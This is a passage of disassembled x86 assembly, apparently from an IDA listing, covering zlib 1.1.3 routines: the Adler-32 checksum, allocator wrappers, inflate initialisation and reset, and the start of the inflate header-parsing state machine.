		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+3]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+4]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+5]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+6]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+7]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+8]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+9]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+0Ah]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+0Bh]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+0Ch]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+0Dh]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+0Eh]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+0Fh]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 10h
		mov	[ebp+var_C], ecx
		jmp	loc_42D8A1
; ---------------------------------------------------------------------------


loc_42DA51:				; CODE XREF: sub_42D840+65j
		cmp	[ebp+var_C], 0
		jz	short loc_42DA87


loc_42DA57:				; CODE XREF: sub_42D840+245j
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jnz	short loc_42DA57


loc_42DA87:				; CODE XREF: sub_42D840+215j
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 0FFF1h
		div	ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 0FFF1h
		div	ecx
		mov	[ebp+var_8], edx
		jmp	loc_42D870
; ---------------------------------------------------------------------------


loc_42DAAA:				; CODE XREF: sub_42D840+34j
		mov	eax, [ebp+var_8]
		shl	eax, 10h
		or	eax, [ebp+var_4]


loc_42DAB3:				; CODE XREF: sub_42D840+2Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_42D840	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, offset a1_1_3 ; "1.1.3"
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2
		sub	eax, [ebp+8]
		mov	eax, off_4332E0[eax*4]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DAD5	proc near		; DATA XREF: sub_42DBE5+68o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42DAEC
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+arg_4], ecx


loc_42DAEC:				; CODE XREF: sub_42DAD5+7j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	dword_433208	; calloc
		add	esp, 8
		pop	ebp
		retn
sub_42DAD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DAFF	proc near		; DATA XREF: sub_42DBE5+85o

arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		call	dword_4331D4	; free
		add	esp, 4
		pop	ebp
		retn
sub_42DAFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DB11	proc near		; CODE XREF: sub_42DBE5+172p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42DB23
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_42DB2A


loc_42DB23:				; CODE XREF: sub_42DB11+7j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42DB7A
; ---------------------------------------------------------------------------


loc_42DB2A:				; CODE XREF: sub_42DB11+10j
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+0Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 7
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx], eax
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+14h]
		push	eax
		call	sub_42AEEE
		add	esp, 0Ch
		xor	eax, eax


loc_42DB7A:				; CODE XREF: sub_42DB11+17j
		pop	ebp
		retn
sub_42DB11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DB7C	proc near		; CODE XREF: sub_42DBE5+FEp
					; sub_42DBE5+15Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42DB97
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_42DB97
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_42DB9E


loc_42DB97:				; CODE XREF: sub_42DB7C+7j
					; sub_42DB7C+10j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42DBE3
; ---------------------------------------------------------------------------


loc_42DB9E:				; CODE XREF: sub_42DB7C+19j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_42DBC0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_42C405
		add	esp, 8


loc_42DBC0:				; CODE XREF: sub_42DB7C+2Cj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+1Ch], 0
		xor	eax, eax


loc_42DBE3:				; CODE XREF: sub_42DB7C+20j
		pop	ebp
		retn
sub_42DB7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DBE5	proc near		; CODE XREF: sub_42F7E0+163p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], offset a1_1_3_0 ; "1.1.3"
		mov	[ebp+var_C], 38h
		cmp	[ebp+var_4], 0
		jz	short loc_42DC16
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		movsx	edx, ds:byte_43785C
		cmp	ecx, edx
		jnz	short loc_42DC16
		cmp	[ebp+var_C], 38h
		jz	short loc_42DC20


loc_42DC16:				; CODE XREF: sub_42DBE5+18j
					; sub_42DBE5+29j
		mov	eax, 0FFFFFFFAh
		jmp	loc_42DD61
; ---------------------------------------------------------------------------


loc_42DC20:				; CODE XREF: sub_42DBE5+2Fj
		mov	[ebp+var_8], 0FFFFFFF1h
		cmp	[ebp+arg_0], 0
		jnz	short loc_42DC37
		mov	eax, 0FFFFFFFEh
		jmp	loc_42DD61
; ---------------------------------------------------------------------------


loc_42DC37:				; CODE XREF: sub_42DBE5+46j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+20h], 0
		jnz	short loc_42DC5E
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+20h], offset sub_42DAD5
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+28h], 0


loc_42DC5E:				; CODE XREF: sub_42DBE5+63j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_42DC71
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+24h], offset sub_42DAFF


loc_42DC71:				; CODE XREF: sub_42DBE5+80j
		push	18h
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+1Ch], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42DC9E
		mov	eax, 0FFFFFFFCh
		jmp	loc_42DD61
; ---------------------------------------------------------------------------


loc_42DC9E:				; CODE XREF: sub_42DBE5+ADj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+0Ch], 0
		cmp	[ebp+var_8], 0
		jge	short loc_42DCD3
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+0Ch], 1


loc_42DCD3:				; CODE XREF: sub_42DBE5+D7j
		cmp	[ebp+var_8], 8
		jl	short loc_42DCDF
		cmp	[ebp+var_8], 0Fh
		jle	short loc_42DCF2


loc_42DCDF:				; CODE XREF: sub_42DBE5+F2j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DB7C
		add	esp, 4
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42DD61
; ---------------------------------------------------------------------------


loc_42DCF2:				; CODE XREF: sub_42DBE5+F8j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, offset sub_42D840
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42AFA5
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+14h], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+14h], 0
		jnz	short loc_42DD53
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DB7C
		add	esp, 4
		mov	eax, 0FFFFFFFCh
		jmp	short loc_42DD61
; ---------------------------------------------------------------------------


loc_42DD53:				; CODE XREF: sub_42DBE5+159j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DB11
		add	esp, 4
		xor	eax, eax


loc_42DD61:				; CODE XREF: sub_42DBE5+36j
					; sub_42DBE5+4Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DBE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DD65	proc near		; CODE XREF: sub_42F9A2+26Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_42DD82
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_42DD82
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42DD8C


loc_42DD82:				; CODE XREF: sub_42DD65+Aj
					; sub_42DD65+13j
		mov	eax, 0FFFFFFFEh
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42DD8C:				; CODE XREF: sub_42DD65+1Bj
		xor	edx, edx
		cmp	[ebp+arg_4], 4
		setnz	dl
		dec	edx
		and	edx, 0FFFFFFFBh
		mov	[ebp+arg_4], edx
		mov	[ebp+var_8], 0FFFFFFFBh


loc_42DDA3:				; CODE XREF: sub_42DD65:loc_42E3E8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0Dh
		ja	loc_42E3E1
		mov	eax, [ebp+var_C]
		jmp	off_42E3F1[eax*4]


loc_42DDC2:				; DATA XREF: HLXc:off_42E3F1o
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42DDD3
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42DDD3:				; CODE XREF: sub_42DD65+64j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+4], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		and	ecx, 0Fh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], eax
		cmp	ecx, 8
		jz	short loc_42DE4F
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 0Dh
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method"
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx+4], 5
		jmp	loc_42E3E8
; ---------------------------------------------------------------------------


loc_42DE4F:				; CODE XREF: sub_42DD65+C0j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		shr	ecx, 4
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	ecx, [eax+10h]
		jbe	short loc_42DE91
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Dh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size"
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 5
		jmp	loc_42E3E8
; ---------------------------------------------------------------------------


loc_42DE91:				; CODE XREF: sub_42DD65+102j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 1


loc_42DE9D:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E3F5o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42DEAE
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42DEAE:				; CODE XREF: sub_42DD65+13Fj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+4]
		shl	eax, 8
		add	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 1Fh
		div	ecx
		test	edx, edx
		jz	short loc_42DF2F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header	check"
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	loc_42E3E8
; ---------------------------------------------------------------------------


loc_42DF2F:				; CODE XREF: sub_42DD65+1A0j
		mov	ecx, [ebp+var_4]
		and	ecx, 20h
		test	ecx, ecx
		jnz	short loc_42DF4A
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 7
		jmp	loc_42E3E8
; ---------------------------------------------------------------------------


loc_42DF4A:				; CODE XREF: sub_42DD65+1D2j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 2


loc_42DF56:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E3F9o
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42DF67
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42DF67:				; CODE XREF: sub_42DD65+1F8j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 18h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 3


loc_42DFB9:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E3FDo
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42DFCA
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42DFCA:				; CODE XREF: sub_42DD65+25Bj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	ecx, ecx
		mov	cl, [edx]
		shl	ecx, 10h
		mov	edx, [eax+8]
		add	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+8], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 4


loc_42E027:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E401o
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42E038
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E038:				; CODE XREF: sub_42DD65+2C9j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	edx, edx
		mov	dl, [eax]
		shl	edx, 8
		mov	eax, [ecx+8]
		add	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 5


loc_42E095:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E405o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E0A6
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E0A6:				; CODE XREF: sub_42DD65+337j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	eax, eax
		mov	al, [ecx]
		mov	ecx, [edx+8]
		add	ecx, eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+8]
		mov	[eax+30h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 6
		mov	eax, 2
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E119:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E409o
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Dh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary"
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 0
		mov	eax, 0FFFFFFFEh
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E146:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E40Do
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_42B09D
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFDh
		jnz	short loc_42E187
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 0
		jmp	loc_42E3E8
; ---------------------------------------------------------------------------


loc_42E187:				; CODE XREF: sub_42DD65+402j
		cmp	[ebp+var_8], 0
		jnz	short loc_42E193
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax


loc_42E193:				; CODE XREF: sub_42DD65+426j
		cmp	[ebp+var_8], 1
		jz	short loc_42E1A1
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E1A1:				; CODE XREF: sub_42DD65+432j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		add	eax, 4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_42AEEE
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_42E1E4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ch
		jmp	loc_42E3E8
; ---------------------------------------------------------------------------


loc_42E1E4:				; CODE XREF: sub_42DD65+46Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 8


loc_42E1F0:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E411o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E201
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E201:				; CODE XREF: sub_42DD65+492j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 18h
